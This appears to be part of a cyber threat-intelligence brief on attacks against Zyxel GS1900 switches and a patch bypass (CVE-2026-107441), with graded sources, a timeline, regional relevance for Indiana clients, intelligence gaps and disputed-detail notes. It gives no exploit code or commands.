Newest-first list. CVE-2026-7273 entry present (added 09-21, due 09-24, ransomware use unknown). CVE-2026-107441 is not among entries added since then. Federal requirements cite BOD 26-04.

[S7] FIRST: EPSS scores for CVE-2026-107441 and CVE-2026-7273
Published 2026-11-04 · **A2** Completely reliable, probably true
Model output. The newer CVE's score reflects little history, not low risk.

[S8] GreyNoise: Open Season on Kapibala: attacker steals government records, WordPress exploitation
Published 2026-09-21 · **A2** Completely reliable, probably true
Original campaign reporting. Its CVE label is now disputed by Binarly, and the post does not mention Binarly or explain how it counted victims. Some infrastructure withheld.

[S9] Acronis TRU: Red Heron exploits Gitea n-day flaw in multinational campaign, exposing new Linux rootkit
Published · **A2** Completely reliable, probably true
Original JITTERLY and SIXZUT research on related activity. Publication date not captured; it describes events through August 2026.

[S10] BleepingComputer: Zyxel fixes zero-day exploited to hack nearly 1,000 network switches
Published 2026-11-04 · **B2** Usually reliable, probably true
Fullest disclosure timeline. Source item link.

[S11] The Hacker News: Zyxel GS1900 Patch Fails to Block Zero-Day Exploit Allowing Root Command Execution
Published 2026-11-05 · **B2** Usually reliable, probably true
Main account here of Binarly's technical findings and of what remains unproven. Source item link.

[S12] SecurityWeek: Zyxel Switch Hacks Blamed on Patched Flaw Actually Exploited a Zero-Day
Published 2026-11-05 · **B2** Usually reliable, probably true
Reports Binarly's statements on JITTERLY and SIXZUT variants and on trusting advisories. Source item link.

[S13] Help Net Security: Attacker compromised nearly 1000 Zyxel switches since August (CVE-2026-7273)
Published 2026-09-22 · **B2** Usually reliable, probably true
Useful for where GS1900 switches are typically deployed. Predates the Binarly findings, so its June-firmware advice is out of date.

[S14] Ostorlab: Zyxel GS1900 Pre-Auth RCE Exploited in the Wild (CVE-2026-107441)
Published 2026-11-04 · **C3** Fairly reliable, possibly true
Vendor blog, used as a secondary record of Binarly's indicators. Port list and three of the IPs have no independent confirmation here. Hashes agree with S15. Exploit-level detail on that page deliberately not used.

[S15] Cyber Security News: Hackers Exploit Zyxel GS1900 Zero-Day to Hijack Network Switches Even After Security Patch
Published 2026-11-04 · **C3** Fairly reliable, possibly true
Secondary. Publishes the Binarly hash table and the claim about other CGI programs, which was not confirmed elsewhere.

[S16] SecurityOnline: Zyxel GS1900 Zero-Day CVE-2026-107441 Exploited in the Wild, Bypassing Earlier Patch
Published 2026-11-04 · **C3** Fairly reliable, possibly true
Secondary. Credited researchers, and Binarly's belief that the exploit was LLM-generated.

Grades use the Admiralty scale: letter = source reliability (A completely reliable to F cannot be judged), number = information credibility (1 confirmed to 6 cannot be judged).

MISCELLANEOUS

Timeline

Date	Event	Source
2026-05-07	GreyNoise is confident activity from this date onward comes from one actor.	[S8]

Date	Event	Source
2026-06-16	Zyxel publishes the CVE-2026-7273 advisory with Patch 2 (.2C0) builds.	[S3] [S5]
2026-08-04	Acronis finds Red Heron's exposed staging server during the Gitea campaign.	[S9]
2026-08-17	Approximate date of GS1900 exploitation and data theft from 996 switches in 48 countries.	[S8]
2026-09-17	Binarly finds the exploit in an open folder on a server that also acted as JITTERLY C2.	[S11]
2026-09-21	GreyNoise publishes its campaign report; CISA adds CVE-2026-7273 to KEV with a 2026-09-24 due date.	[S6] [S8]
2026-09-28	Binarly confirms the exploit works against all ten Patch 2 releases.	[S10] [S15]
2026-09-29	Binarly reports its findings to Zyxel.	[S10] [S11]
2026-10-08	CVE-2026-107441 reserved.	[S4]
2026-10-11	Zyxel confirms the new vulnerability.	[S10] [S15]
2026-10-23	Patch 3 announced on the Zyxel community forum; several outlets give 2026-10-22 as the release date.	[S2] [S10]
2026-11-03	Zyxel publishes its advisory, the CVE record goes live, and Binarly publishes its research.	[S1] [S4] [S12]
2026-11-04	KEV catalog version 2026.11.04 does not list CVE-2026-107441. Press coverage begins.	[S6] [S10]

Relevance to Indianapolis, Indiana & managed clients

No source names an Indiana victim, and the public data gives only country-level counts, with 129 switches in the United States [S8]. The risk still fits this region well: GS1900 switches are aimed at small and mid-size businesses and are common in small offices, schools, hotels and retail shops [S13]. That points to Indiana K-12 districts, small municipalities and county offices, clinics and physician practices, and branch sites of manufacturers, where a low-cost switch may be installed once and rarely updated. The stolen configuration data matters more than the device itself: it can reveal the network layout and credentials for a follow-on intrusion [S8]. For managed IT service clients, inventory GS1900 units across all tenants this week, including closets and sites outside normal monitoring, and check for shared or templated admin passwords and SNMP or RADIUS secrets, since one stolen value could open several client environments. Anyone who marked this closed after the June patch or the September KEV notice should reopen it. Healthcare and government organizations should have

counsel review reporting duties if a switch holding credentials or protected-network details is confirmed compromised.

Intelligence gaps

- What firmware the 996 victims ran. This decides how many were true zero-day compromises, and neither GreyNoise nor Binarly states it [S11].
- How access was gained on the 564 switches with factory-default credentials, and whether the actor used those credentials at all [S8] [S11].
- How stolen data was retrieved, and which host served the collector. GreyNoise redacted that host and withheld an IP pending mitigation, promising an update [S8].
- Whether JITTERLY or SIXZUT were ever deployed on switches. Reporting on variants is ambiguous, and GreyNoise documents only the collector on those devices [S8] [S12].
- Whether Patch 3 removes existing attacker access, and how to check for compromise. Zyxel's advisory says nothing on either point [S11].
- Whether out-of-support GS1900 models and revisions are vulnerable. Zyxel patches only models inside the support period, and its statement that unlisted products are unaffected covers on-market products [S1].
- Whether the bypass was built deliberately or was an effect of the same underlying bug [S10]. Binarly offers two explanations [S11].
- Watch for: Binarly's minimized proof-of-concept, any KEV listing for CVE-2026-107441, a Zyxel advisory revision on exploitation, a GreyNoise update reconciling its CVE attribution, and any named victims or follow-on intrusions.
- Primary-source limit: Binarly's blog (https://www.binarly.io/blog/zyxel-gs1900-rce-cve-2026-107441) and advisory BRLY-2026-057 (https://www.binarly.io/advisories/brly-2026-057) returned no body text to our tooling, and the NVD page likewise. Binarly's findings, YARA rule availability and NVD score here come through secondary reporting; check the originals before acting on any Binarly-only IP.

Other notes

- Correction to the briefing excerpt: it states no file hashes or IPs were published. Secondary reporting of Binarly's analysis does publish JITTERLY and SIXZUT hashes and infrastructure [S14] [S15], and GreyNoise had already published actor indicators [S8]. None is reported as a switch-specific indicator of compromise.
- Disputed severity and vector: Zyxel and the CVE record say adjacent network, 8.8, with "LAN-based" wording. Binarly says 9.8 with network reachability only [S1] [S4] [S11]. Reportedly it also disputes the stack-based description, placing the corrupted data in global memory [S15].
- Disputed scope of the fix: per Binarly, Zyxel says CVE-2026-7273 covered the missing counter check and treats the missing size check as the separate CVE-2026-107441 [S11]. GreyNoise's analysis described the exploit's only purpose as CVE-2026-7273, written before Binarly's work [S8].
- Date conflict: Patch 3 is dated 2026-10-22 by some outlets and 2026-10-23 by the vendor forum post and others [S2] [S10] [S11]. The CVE was reserved three days before the reported confirmation date of 2026-10-11 [S4] [S10]. Neither changes the action required.
- The KEV entry for CVE-2026-7273 cites only Zyxel's June advisory. Agencies and contractors that met the 2026-09-24 date with Patch 2 are still exposed to CVE-2026-107441 [S6] [S11].

- EPSS comparison: CVE-2026-7273 scores 0.02778 and CVE-2026-107441 0.00293, though both reportedly describe the same exploited code path [S7] [S11]. Do not use EPSS to rank this one down.
- Related actor activity includes a western government intrusion on 2026-07-22 with at least 18,566 records taken through WordPress exploitation, and at least 49 organizations compromised in 29 countries in that wave. This is not tied to the switch campaign beyond the actor link [S8]. GreyNoise and Binarly both suspect LLM-assisted tooling [S8] [S16].
- Most listed indicators were not observed on GS1900 switches. Those marked as related activity are best used for wider environment hunting, and shared hosting IPs can change hands quickly.

CTI-20261105-02 v1.0 · Generated 2026-11-05 08:10 EST from public reporting. Drafted with AI assistance and reviewed by Nick Sturgeon. Verify indicators and actions before operational use. Summaries are in the analyst's own words.

Back to the daily briefing.

TLP:CLEAR Unrestricted public release.